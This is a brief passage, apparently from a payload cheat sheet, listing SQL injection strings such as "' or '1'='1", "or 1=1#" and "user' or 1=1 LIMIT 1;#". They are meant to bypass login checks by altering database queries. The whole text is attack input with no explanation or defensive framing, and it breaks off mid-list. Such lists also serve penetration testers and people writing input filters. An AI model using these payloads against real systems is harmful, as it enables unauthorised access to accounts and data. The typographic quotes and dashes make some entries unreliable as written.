or 1=1 or 1=1– or 1=1# or 1=1/* ‘ or 1=1 — ‘ or ‘1’=’1 ‘ or 1=1 –+ user’ — user’ # user’/* user’ or 1=1;# user’ or 1=1 LIMIT 1;# user’ or 1=1 LIMIT 1;# user’ or ‘1’=’1 user’...